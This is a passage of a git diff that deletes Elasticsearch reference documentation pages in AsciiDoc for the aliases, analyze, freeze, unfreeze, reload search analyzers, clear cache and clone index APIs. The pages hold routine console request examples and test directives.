-
-[[indices-aliases-api-add-alias-ex]]
-===== Add an alias
-
-The following request adds the `alias1` alias to the `test1` index.
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "add" : { "index" : "test1", "alias" : "alias1" } }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test1\nPUT test2\n/]
-
-[[indices-aliases-api-remove-alias-ex]]
-===== Remove an alias
-
-The following request removes the `alias1` alias.
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "remove" : { "index" : "test1", "alias" : "alias1" } }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-[[indices-aliases-api-rename-alias-ex]]
-===== Rename an alias
-
-Renaming an alias is a simple `remove` then `add` operation within the
-same API. This operation is atomic, no need to worry about a short
-period of time where the alias does not point to an index:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "remove" : { "index" : "test1", "alias" : "alias1" } },
-    { "add" : { "index" : "test1", "alias" : "alias2" } }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-[[indices-aliases-api-add-multi-alias-ex]]
-===== Add an alias to multiple indices
-
-Associating an alias with more than one index is simply several `add`
-actions:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "add" : { "index" : "test1", "alias" : "alias1" } },
-    { "add" : { "index" : "test2", "alias" : "alias1" } }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test1\nPUT test2\n/]
-
-Multiple indices can be specified for an action with the `indices` array syntax:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "add" : { "indices" : ["test1", "test2"], "alias" : "alias1" } }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test1\nPUT test2\n/]
-
-To specify multiple aliases in one action, the corresponding `aliases` array
-syntax exists as well.
-
-For the example above, a glob pattern can also be used to associate an alias to
-more than one index that share a common name:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions" : [
-    { "add" : { "index" : "test*", "alias" : "all_test_indices" } }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test1\nPUT test2\n/]
-
-In this case, the alias is a point-in-time alias that will group all
-current indices that match, it will not automatically update as new
-indices that match this pattern are added/removed.
-
-It is an error to index to an alias which points to more than one index.
-
-It is also possible to swap an index with an alias in one, atomic operation.
-This means there will be no point in time where the alias points to no
-index in the cluster state. However, as indexing and searches involve multiple
-steps, it is possible for the in-flight or queued requests to fail
-due to a temporarily non-existent index.
-
-[source,console]
---------------------------------------------------
-PUT test     <1>
-PUT test_2   <2>
-POST /_aliases
-{
-  "actions" : [
-    { "add":  { "index": "test_2", "alias": "test" } },
-    { "remove_index": { "index": "test" } }  <3>
-  ]
-}
---------------------------------------------------
-
-<1> An index we've added by mistake
-<2> The index we should have added
-<3> `remove_index` is just like <<indices-delete-index>> and will only remove a concrete index.
-
-[[filtered]]
-===== Filtered aliases
-
-Aliases with filters provide an easy way to create different "views" of
-the same index. The filter can be defined using Query DSL and is applied
-to all Search, Count, Delete By Query and More Like This operations with
-this alias.
-
-To create a filtered alias, first we need to ensure that the fields already
-exist in the mapping:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "user": {
-        "properties": {
-          "id": {
-            "type": "keyword"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Now we can create an alias that uses a filter on field `user.id`:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions": [
-    {
-      "add": {
-        "index": "my-index-000001",
-        "alias": "alias2",
-        "filter": { "term": { "user.id": "kimchy" } }
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-[[aliases-routing]]
-===== Routing
-
-It is possible to associate routing values with aliases. This feature
-can be used together with filtering aliases in order to avoid
-unnecessary shard operations.
-
-The following command creates a new alias `alias1` that points to index
-`test`. After `alias1` is created, all operations with this alias are
-automatically modified to use value `1` for routing:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions": [
-    {
-      "add": {
-        "index": "test",
-        "alias": "alias1",
-        "routing": "1"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test\n/]
-
-It's also possible to specify different routing values for searching
-and indexing operations:
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions": [
-    {
-      "add": {
-        "index": "test",
-        "alias": "alias2",
-        "search_routing": "1,2",
-        "index_routing": "2"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test\n/]
-
-As shown in the example above, search routing may contain several values
-separated by comma. Index routing can contain only a single value.
-
-If a search operation that uses routing alias also has a routing parameter, an
-intersection of both search alias routing and routing specified in the
-parameter is used. For example the following command will use "2" as a
-routing value:
-
-[source,console]
---------------------------------------------------
-GET /alias2/_search?q=user.id:kimchy&routing=2,3
---------------------------------------------------
-// TEST[continued]
-
-[[aliases-write-index]]
-===== Write index
-
-It is possible to associate the index pointed to by an alias as the write index.
-When specified, all index and update requests against an alias that point to multiple
-indices will attempt to resolve to the one index that is the write index.
-Only one index per alias can be assigned to be the write index at a time. If no write index is specified
-and there are multiple indices referenced by an alias, then writes will not be allowed.
-
-It is possible to specify an index associated with an alias as a write index using both the aliases API
-and index creation API.
-
-Setting an index to be the write index with an alias also affects how the alias is manipulated during
-Rollover (see <<indices-rollover-index, Rollover With Write Index>>).
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions": [
-    {
-      "add": {
-        "index": "test",
-        "alias": "alias1",
-        "is_write_index": true
-      }
-    },
-    {
-      "add": {
-        "index": "test2",
-        "alias": "alias1"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test\nPUT test2\n/]
-
-In this example, we associate the alias `alias1` to both `test` and `test2`, where
-`test` will be the index chosen for writing to.
-
-[source,console]
---------------------------------------------------
-PUT /alias1/_doc/1
-{
-  "foo": "bar"
-}
---------------------------------------------------
-// TEST[continued]
-
-The new document that was indexed to `/alias1/_doc/1` will be indexed as if it were
-`/test/_doc/1`.
-
-[source,console]
---------------------------------------------------
-GET /test/_doc/1
---------------------------------------------------
-// TEST[continued]
-
-To swap which index is the write index for an alias, the Aliases API can be leveraged to
-do an atomic swap. The swap is not dependent on the ordering of the actions.
-
-[source,console]
---------------------------------------------------
-POST /_aliases
-{
-  "actions": [
-    {
-      "add": {
-        "index": "test",
-        "alias": "alias1",
-        "is_write_index": false
-      }
-    }, {
-      "add": {
-        "index": "test2",
-        "alias": "alias1",
-        "is_write_index": true
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[s/^/PUT test\nPUT test2\n/]
diff --git a/docs/reference/indices/analyze.asciidoc b/docs/reference/indices/analyze.asciidoc
deleted file mode 100644
index d115702c1fa..00000000000
--- a/docs/reference/indices/analyze.asciidoc
+++ /dev/null
@@ -1,373 +0,0 @@
-[[indices-analyze]]
-=== Analyze API
-++++
-<titleabbrev>Analyze</titleabbrev>
-++++
-
-Performs <<analysis,analysis>> on a text string
-and returns the resulting tokens.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "analyzer" : "standard",
-  "text" : "Quick Brown Foxes!"
-}
---------------------------------------------------
-
-
-[[analyze-api-request]]
-==== {api-request-title}
-
-`GET /_analyze`
-
-`POST /_analyze`
-
-`GET /<index>/_analyze`
-
-`POST /<index>/_analyze`
-
-
-[[analyze-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-+
---
-(Optional, string)
-Index used to derive the analyzer.
-
-If specified,
-the `analyzer` or `<field>` parameter overrides this value.
-
-If no analyzer or field are specified,
-the analyze API uses the default analyzer for the index.
-
-If no index is specified
-or the index does not have a default analyzer,
-the analyze API uses the <<analysis-standard-analyzer,standard analyzer>>.
---
-
-
-[[analyze-api-query-params]]
-==== {api-query-parms-title}
-
-`analyzer`::
-+
---
-(Optional, string)
-The name of the analyzer that should be applied to the provided `text`. This could be a
-<<analysis-analyzers, built-in analyzer>>, or an analyzer that's been configured in the index.
-
-If this parameter is not specified,
-the analyze API uses the analyzer defined in the field's mapping.
-
-If no field is specified,
-the analyze API uses the default analyzer for the index.
-
-If no index is specified,
-or the index does not have a default analyzer,
-the analyze API uses the <<analysis-standard-analyzer,standard analyzer>>.
---
-
-`attributes`::
-(Optional, array of strings)
-Array of token attributes used to filter the output of the `explain` parameter.
-
-`char_filter`::
-(Optional, array of strings)
-Array of character filters used to preprocess characters before the tokenizer.
-See <<analysis-charfilters>> for a list of character filters.
-
-`explain`::
-(Optional, Boolean)
-If `true`, the response includes token attributes and additional details.
-Defaults to `false`.
-experimental:[The format of the additional detail information is labelled as experimental in Lucene and it may change in the future.]
-
-`field`::
-+
---
-(Optional, string)
-Field used to derive the analyzer.
-To use this parameter,
-you must specify an index.
-
-If specified,
-the `analyzer` parameter overrides this value.
-
-If no field is specified,
-the analyze API uses the default analyzer for the index.
-
-If no index is specified
-or the index does not have a default analyzer,
-the analyze API uses the <<analysis-standard-analyzer,standard analyzer>>.
---
-
-`filter`::
-(Optional, Array of strings)
-Array of token filters used to apply after the tokenizer.
-See <<analysis-tokenfilters>> for a list of token filters.
-
-`normalizer`::
-(Optional, string)
-Normalizer to use to convert text into a single token.
-See <<analysis-normalizers>> for a list of normalizers.
-
-`text`::
-(Required, string or array of strings)
-Text to analyze.
-If an array of strings is provided, it is analyzed as a multi-value field.
-
-`tokenizer`::
-(Optional, string)
-Tokenizer to use to convert text into tokens.
-See <<analysis-tokenizers>> for a list of tokenizers.
-
-[[analyze-api-example]]
-==== {api-examples-title}
-
-[[analyze-api-no-index-ex]]
-===== No index specified
-
-You can apply any of the built-in analyzers to the text string without
-specifying an index.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "analyzer" : "standard",
-  "text" : "this is a test"
-}
---------------------------------------------------
-
-[[analyze-api-text-array-ex]]
-===== Array of text strings
-
-If the `text` parameter is provided as array of strings, it is analyzed as a multi-value field.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "analyzer" : "standard",
-  "text" : ["this is a test", "the second text"]
-}
---------------------------------------------------
-
-[[analyze-api-custom-analyzer-ex]]
-===== Custom analyzer
-
-You can use the analyze API to test a custom transient analyzer built from
-tokenizers, token filters, and char filters. Token filters use the `filter`
-parameter:
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "keyword",
-  "filter" : ["lowercase"],
-  "text" : "this is a test"
-}
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "keyword",
-  "filter" : ["lowercase"],
-  "char_filter" : ["html_strip"],
-  "text" : "this is a <b>test</b>"
-}
---------------------------------------------------
-
-Custom tokenizers, token filters, and character filters can be specified in the request body as follows:
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "whitespace",
-  "filter" : ["lowercase", {"type": "stop", "stopwords": ["a", "is", "this"]}],
-  "text" : "this is a test"
-}
---------------------------------------------------
-
-[[analyze-api-specific-index-ex]]
-===== Specific index
-
-You can also run the analyze API against a specific index:
-
-[source,console]
---------------------------------------------------
-GET /analyze_sample/_analyze
-{
-  "text" : "this is a test"
-}
---------------------------------------------------
-// TEST[setup:analyze_sample]
-
-The above will run an analysis on the "this is a test" text, using the
-default index analyzer associated with the `analyze_sample` index. An `analyzer`
-can also be provided to use a different analyzer:
-
-[source,console]
---------------------------------------------------
-GET /analyze_sample/_analyze
-{
-  "analyzer" : "whitespace",
-  "text" : "this is a test"
-}
---------------------------------------------------
-// TEST[setup:analyze_sample]
-
-[[analyze-api-field-ex]]
-===== Derive analyzer from a field mapping
-
-The analyzer can be derived based on a field mapping, for example:
-
-[source,console]
---------------------------------------------------
-GET /analyze_sample/_analyze
-{
-  "field" : "obj1.field1",
-  "text" : "this is a test"
-}
---------------------------------------------------
-// TEST[setup:analyze_sample]
-
-Will cause the analysis to happen based on the analyzer configured in the
-mapping for `obj1.field1` (and if not, the default index analyzer).
-
-[[analyze-api-normalizer-ex]]
-===== Normalizer
-
-A `normalizer` can be provided for keyword field with normalizer associated with the `analyze_sample` index.
-
-[source,console]
---------------------------------------------------
-GET /analyze_sample/_analyze
-{
-  "normalizer" : "my_normalizer",
-  "text" : "BaR"
-}
---------------------------------------------------
-// TEST[setup:analyze_sample]
-
-Or by building a custom transient normalizer out of token filters and char filters.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "filter" : ["lowercase"],
-  "text" : "BaR"
-}
---------------------------------------------------
-
-[[explain-analyze-api]]
-===== Explain analyze
-
-If you want to get more advanced details, set `explain` to `true` (defaults to `false`). It will output all token attributes for each token.
-You can filter token attributes you want to output by setting `attributes` option.
-
-NOTE: The format of the additional detail information is labelled as experimental in Lucene and it may change in the future.
-
-[source,console]
---------------------------------------------------
-GET /_analyze
-{
-  "tokenizer" : "standard",
-  "filter" : ["snowball"],
-  "text" : "detailed output",
-  "explain" : true,
-  "attributes" : ["keyword"] <1>
-}
---------------------------------------------------
-
-<1> Set "keyword" to output "keyword" attribute only
-
-The request returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "detail" : {
-    "custom_analyzer" : true,
-    "charfilters" : [ ],
-    "tokenizer" : {
-      "name" : "standard",
-      "tokens" : [ {
-        "token" : "detailed",
-        "start_offset" : 0,
-        "end_offset" : 8,
-        "type" : "<ALPHANUM>",
-        "position" : 0
-      }, {
-        "token" : "output",
-        "start_offset" : 9,
-        "end_offset" : 15,
-        "type" : "<ALPHANUM>",
-        "position" : 1
-      } ]
-    },
-    "tokenfilters" : [ {
-      "name" : "snowball",
-      "tokens" : [ {
-        "token" : "detail",
-        "start_offset" : 0,
-        "end_offset" : 8,
-        "type" : "<ALPHANUM>",
-        "position" : 0,
-        "keyword" : false <1>
-      }, {
-        "token" : "output",
-        "start_offset" : 9,
-        "end_offset" : 15,
-        "type" : "<ALPHANUM>",
-        "position" : 1,
-        "keyword" : false <1>
-      } ]
-    } ]
-  }
-}
---------------------------------------------------
-
-<1> Output only "keyword" attribute, since specify "attributes" in the request.
-
-[[tokens-limit-settings]]
-===== Setting a token limit
-Generating excessive amount of tokens may cause a node to run out of memory.
-The following setting allows to limit the number of tokens that can be produced:
-
-`index.analyze.max_token_count`::
-    The maximum number of tokens that can be produced using `_analyze` API.
-    The default value is `10000`. If more than this limit of tokens gets
-    generated, an error will be thrown. The `_analyze` endpoint without a specified
-    index will always use `10000` value as a limit. This setting allows you to control
-    the limit for a specific index:
-
-
-[source,console]
---------------------------------------------------
-PUT /analyze_sample
-{
-  "settings" : {
-    "index.analyze.max_token_count" : 20000
-  }
-}
---------------------------------------------------
-
-
-[source,console]
---------------------------------------------------
-GET /analyze_sample/_analyze
-{
-  "text" : "this is a test"
-}
---------------------------------------------------
-// TEST[setup:analyze_sample]
diff --git a/docs/reference/indices/apis/freeze.asciidoc b/docs/reference/indices/apis/freeze.asciidoc
deleted file mode 100644
index da2cffa540c..00000000000
--- a/docs/reference/indices/apis/freeze.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[freeze-index-api]]
-=== Freeze index API
-++++
-<titleabbrev>Freeze index</titleabbrev>
-++++
-
-Freezes an index.
-
-[[freeze-index-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_freeze`
-
-//[[freeze-index-api-prereqs]]
-//==== {api-prereq-title}
-
-[[freeze-index-api-desc]]
-==== {api-description-title}
-
-A frozen index has almost no overhead on the cluster (except for maintaining its
-metadata in memory) and is read-only. Read-only indices are blocked for write
-operations, such as <<indexing,docs-index_>> or <<indices-forcemerge,force
-merges>>. See <<frozen-indices>> and <<unfreeze-index-api>>.
-
-The current write index on a data stream cannot be frozen. In order to freeze
-the current write index, the data stream must first be
-<<rollover-data-stream-ex,rolled over>> so that a new write index is created
-and then the previous write index can be frozen.
-
-IMPORTANT: Freezing an index will close the index and reopen it within the same
-API call. This causes primaries to not be allocated for a short amount of time
-and causes the cluster to go red until the primaries are allocated again. This
-limitation might be removed in the future.
-
-[[freeze-index-api-path-parms]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (Required, string) Identifier for the index.
-
-[[freeze-index-api-examples]]
-==== {api-examples-title}
-
-The following example freezes and unfreezes an index:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_freeze
-POST /my-index-000001/_unfreeze
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n/]
-
diff --git a/docs/reference/indices/apis/reload-analyzers.asciidoc b/docs/reference/indices/apis/reload-analyzers.asciidoc
deleted file mode 100644
index 301cd2daeac..00000000000
--- a/docs/reference/indices/apis/reload-analyzers.asciidoc
+++ /dev/null
@@ -1,174 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[indices-reload-analyzers]]
-== Reload search analyzers API
-
-Reloads an index's <<search-analyzer,search analyzers>> and their resources.
-For data streams, the API reloads search analyzers and resources for the
-stream's backing indices.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_reload_search_analyzers
---------------------------------------------------
-// TEST[setup:my_index]
-
-[discrete]
-[[indices-reload-analyzers-api-request]]
-=== {api-request-title}
-
-`POST /<target>/_reload_search_analyzers`
-
-`GET /<target>/_reload_search_analyzers`
-
-
-[discrete]
-[[indices-reload-analyzers-api-desc]]
-=== {api-description-title}
-
-You can use the reload search analyzers API
-to pick up changes to synonym files
-used in the <<analysis-synonym-graph-tokenfilter,`synonym_graph`>>
-or <<analysis-synonym-tokenfilter,`synonym`>> token filter
-of a <<search-analyzer,search analyzer>>.
-To be eligible,
-the token filter must have an `updateable` flag of `true`
-and only be used in search analyzers.
-
-[NOTE]
-====
-This API does not perform a reload
-for each shard of an index.
-Instead,
-it performs a reload for each node
-containing index shards.
-As a result,
-the total shard count returned by the API
-can differ from the number of index shards.
-
-Because reloading affects every node with an index shard,
-its important to update the synonym file
-on every data node in the cluster,
-including nodes that don't contain a shard replica,
-before using this API.
-This ensures the synonym file is updated
-everywhere in the cluster
-in case shards are relocated
-in the future.
-====
-
-
-[discrete]
-[[indices-reload-analyzers-api-path-params]]
-=== {api-path-parms-title}
-
-`<target>`::
-(Required, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, use `_all` or `*`.
-
-
-[discrete]
-[[indices-reload-analyzers-api-query-params]]
-=== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-
-[discrete]
-[[indices-reload-analyzers-api-example]]
-=== {api-examples-title}
-
-Use the <<indices-create-index, create index API>>
-to create an index with a search analyzer
-that contains an updateable synonym filter.
-
-NOTE: Using the following analyzer as an index analyzer results in an error.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_synonyms": {
-            "tokenizer": "whitespace",
-            "filter": [ "synonym" ]
-          }
-        },
-        "filter": {
-          "synonym": {
-            "type": "synonym_graph",
-            "synonyms_path": "analysis/synonym.txt",  <1>
-            "updateable": true                        <2>
-          }
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "text": {
-        "type": "text",
-        "analyzer": "standard",
-        "search_analyzer": "my_synonyms"              <3>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Includes a synonym file.
-<2> Marks the token filter as updateable.
-<3> Marks the analyzer as a search analyzer.
-
-After updating the synonym file,
-use the <<indices-reload-analyzers,analyzer reload API>>
-to reload the search analyzer
-and pick up the file changes.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_reload_search_analyzers
---------------------------------------------------
-// TEST[continued]
-
-The API returns the following response.
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": {
-    "total": 2,
-    "successful": 2,
-    "failed": 0
-  },
-  "reload_details": [
-    {
-      "index": "my-index-000001",
-      "reloaded_analyzers": [
-        "my_synonyms"
-      ],
-      "reloaded_node_ids": [
-        "mfdqTXn_T7SGr2Ho2KT8uw"
-      ]
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-// TESTRESPONSE[s/"total": 2/"total": $body._shards.total/]
-// TESTRESPONSE[s/"successful": 2/"successful": $body._shards.successful/]
-// TESTRESPONSE[s/mfdqTXn_T7SGr2Ho2KT8uw/$body.reload_details.0.reloaded_node_ids.0/]
diff --git a/docs/reference/indices/apis/unfreeze.asciidoc b/docs/reference/indices/apis/unfreeze.asciidoc
deleted file mode 100644
index 111a335f378..00000000000
--- a/docs/reference/indices/apis/unfreeze.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[unfreeze-index-api]]
-=== Unfreeze index API
-++++
-<titleabbrev>Unfreeze index</titleabbrev>
-++++
-
-Unfreezes an index.
-
-[[unfreeze-index-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_unfreeze`
-
-//[[unfreeze-index-api-prereqs]]
-//==== {api-prereq-title}
-
-[[unfreeze-index-api-desc]]
-==== {api-description-title}
-
-When a frozen index is unfrozen, the index goes through the normal recovery 
-process and becomes writeable again. See <<frozen-indices>> and <<freeze-index-api>>.
-
-IMPORTANT: Freezing an index will close the index and reopen it within the same
-API call. This causes primaries to not be allocated for a short amount of time
-and causes the cluster to go red until the primaries are allocated again. This
-limitation might be removed in the future.
-
-[[unfreeze-index-api-path-parms]]
-==== {api-path-parms-title}
-
-`<index>`::
-  (Required, string) Identifier for the index.
-
-[[unfreeze-index-api-examples]]
-==== {api-examples-title}
-
-The following example freezes and unfreezes an index:
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_freeze
-POST /my-index-000001/_unfreeze
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n/]
diff --git a/docs/reference/indices/clearcache.asciidoc b/docs/reference/indices/clearcache.asciidoc
deleted file mode 100644
index 6a71f289655..00000000000
--- a/docs/reference/indices/clearcache.asciidoc
+++ /dev/null
@@ -1,152 +0,0 @@
-[[indices-clearcache]]
-=== Clear cache API
-++++
-<titleabbrev>Clear cache</titleabbrev>
-++++
-
-Clears the caches of one or more indices. For data streams, the API clears the
-caches of the stream's backing indices.
-
-[source,console]
-----
-POST /my-index-000001/_cache/clear
-----
-// TEST[setup:my_index]
-
-
-[[clear-cache-api-request]]
-==== {api-request-title}
-
-`POST /<target>/_cache/clear`
-
-`POST /_cache/clear`
-
-
-[[clear-cache-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-
-[[clear-cache-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-`fielddata`::
-+
---
-(Optional, Boolean)
-If `true`,
-clears the fields cache.
-
-Use the `fields` parameter
-to clear the cache of specific fields only.
---
-
-`fields`::
-+
---
-(Optional, string)
-Comma-separated list of field names
-used to limit the `fielddata` parameter.
-
-Defaults to all fields.
-
-NOTE: This parameter does *not* support objects
-or field aliases.
---
-
-
-`index`::
-(Optional, string)
-Comma-separated list of index names
-used to limit the request.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-`query`::
-(Optional, Boolean)
-If `true`,
-clears the query cache.
-
-`request`::
-(Optional, Boolean)
-If `true`,
-clears the request cache.
-
-
-[[clear-cache-api-example]]
-==== {api-examples-title}
-
-
-[[clear-cache-api-specific-ex]]
-===== Clear a specific cache
-
-By default,
-the clear cache API clears all caches.
-You can clear only specific caches
-by setting the following query parameters to `true`:
-
-* `fielddata`
-* `query`
-* `request`
-
-[source,console]
-----
-POST /my-index-000001/_cache/clear?fielddata=true  <1>
-POST /my-index-000001/_cache/clear?query=true      <2>
-POST /my-index-000001/_cache/clear?request=true    <3>
-----
-// TEST[continued]
-
-<1> Clears only the fields cache
-<2> Clears only the query cache
-<3> Clears only the request cache
-
-
-
-[[clear-cache-api-specific-fields-ex]]
-===== Clear the cache of specific fields
-
-To only clear the cache of specific fields,
-use the `fields` query parameter.
-
-[source,console]
-----
-POST /my-index-000001/_cache/clear?fields=foo,bar   <1>
-----
-// TEST[continued]
-
-<1> Clear the cache for the `foo` and `bar` field
-
-
-[[clear-cache-api-multi-ex]]
-===== Clear caches for several data streams and indices
-
-[source,console]
-----
-POST /my-index-000001,my-index-000002/_cache/clear
-----
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-
-[[clear-cache-api-all-ex]]
-===== Clear caches for all data streams and indices
-
-[source,console]
-----
-POST /_cache/clear
-----
diff --git a/docs/reference/indices/clone-index.asciidoc b/docs/reference/indices/clone-index.asciidoc
deleted file mode 100644
index 65921cc6908..00000000000
--- a/docs/reference/indices/clone-index.asciidoc
+++ /dev/null
@@ -1,178 +0,0 @@
-[[indices-clone-index]]
-=== Clone index API
-++++
-<titleabbrev>Clone index</titleabbrev>
-++++
-
-Clones an existing index.
-
-[source,console]
---------------------------------------------------
-POST /my-index-000001/_clone/cloned-my-index-000001
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards" : 5,"blocks.write":true}}\n/]
-
-
-[[clone-index-api-request]]
-==== {api-request-title}
-
-`POST /<index>/_clone/<target-index>`
-
-`PUT /<index>/_clone/<target-index>`
-
-
-[[clone-index-api-prereqs]]
-==== {api-prereq-title}
-
-To clone an index,
-the index must be marked as read-only
-and have a <<cluster-health,cluster health>> status of `green`.
-
-For example,
-the following request prevents write operations on `my_source_index`
-so it can be cloned.
-Metadata changes like deleting the index are still allowed.
-
-[source,console]
---------------------------------------------------
-PUT /my_source_index/_settings
-{
-  "settings": {
-    "index.blocks.write": true
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_source_index\n/]
-
-The current write index on a data stream cannot be cloned. In order to clone
-the current write index, the data stream must first be
-<<rollover-data-stream-ex,rolled over>> so that a new write index is created
-and then the previous write index can be cloned.
-
-[[clone-index-api-desc]]
-==== {api-description-title}
-
-Use the clone index API
-to clone an existing index into a new index,
-where each original primary shard is cloned
-into a new primary shard in the new index.
-
-[[cloning-works]]
-===== How cloning works
-
-Cloning works as follows:
-
-* First, it creates a new target index with the same definition as the source
-  index.
-
-* Then it hard-links segments from the source index into the target index. (If
-  the file system doesn't support hard-linking, then all segments are copied
-  into the new index, which is a much more time consuming process.)
-
-* Finally, it recovers the target index as though it were a closed index which
-  had just been re-opened.
-
-[[clone-index]]
-===== Clone an index
-
-To clone `my_source_index` into a new index called `my_target_index`, issue
-the following request:
-
-[source,console]
---------------------------------------------------
-POST /my_source_index/_clone/my_target_index
---------------------------------------------------
-// TEST[continued]
-
-The above request returns immediately once the target index has been added to
-the cluster state -- it doesn't wait for the clone operation to start.
-
-[IMPORTANT]
-=====================================
-
-Indices can only be cloned if they meet the following requirements:
-
-* The target index must not exist.
-
-* The source index must have the same number of primary shards as the target index.
-
-* The node handling the clone process must have sufficient free disk space to
-  accommodate a second copy of the existing index.
-
-=====================================
-
-The `_clone` API is similar to the <<indices-create-index, `create index` API>>
-and accepts `settings` and `aliases` parameters for the target index:
-
-[source,console]
---------------------------------------------------
-POST /my_source_index/_clone/my_target_index
-{
-  "settings": {
-    "index.number_of_shards": 5 <1>
-  },
-  "aliases": {
-    "my_search_indices": {}
-  }
-}
---------------------------------------------------
-// TEST[s/^/PUT my_source_index\n{"settings": {"index.blocks.write": true, "index.number_of_shards": "5"}}\n/]
-
-<1> The number of shards in the target index. This must be equal to the
-    number of shards in the source index.
-
-
-NOTE: Mappings may not be specified in the `_clone` request. The mappings of
-the source index will be used for the target index.
-
-[[monitor-cloning]]
-===== Monitor the cloning process
-
-The cloning process can be monitored with the <<cat-recovery,`_cat recovery`
-API>>, or the <<cluster-health, `cluster health` API>> can be used to wait
-until all primary shards have been allocated by setting the  `wait_for_status`
-parameter to `yellow`.
-
-The `_clone` API returns as soon as the target index has been added to the
-cluster state, before any shards have been allocated. At this point, all
-shards are in the state `unassigned`. If, for any reason, the target index
-can't be allocated, its primary shard will remain `unassigned` until it
-can be allocated on that node.
-
-Once the primary shard is allocated, it moves to state `initializing`, and the
-clone process begins. When the clone operation completes, the shard will
-become `active`. At that  point, {es} will try to allocate any
-replicas and may decide to relocate the primary shard to another node.
-
-[[clone-wait-active-shards]]
-===== Wait for active shards
-
-Because the clone operation creates a new index to clone the shards to,
-the <<create-index-wait-for-active-shards,wait for active shards>> setting
-on index creation applies to the clone index action as well.
-
-
-[[clone-index-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string)
-Name of the source index to clone.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index]
-
-
-[[clone-index-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[clone-index-api-request-body]]
-==== {api-request-body-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=target-index-aliases]
-
